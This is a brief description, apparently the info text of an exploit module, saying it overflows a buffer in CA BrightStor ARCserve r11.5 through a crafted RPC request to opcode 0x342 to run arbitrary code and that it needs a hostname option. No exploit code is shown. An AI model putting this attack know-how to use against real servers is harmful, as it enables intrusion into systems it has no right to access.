     This module exploits a buffer overflow in Computer Associates BrighStor ARCserve r11.5 (build 3884).
    By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer
    and execute arbitrary code. In order to successfully exploit this vulnerability, you will need
    set the hostname argument (HNAME).
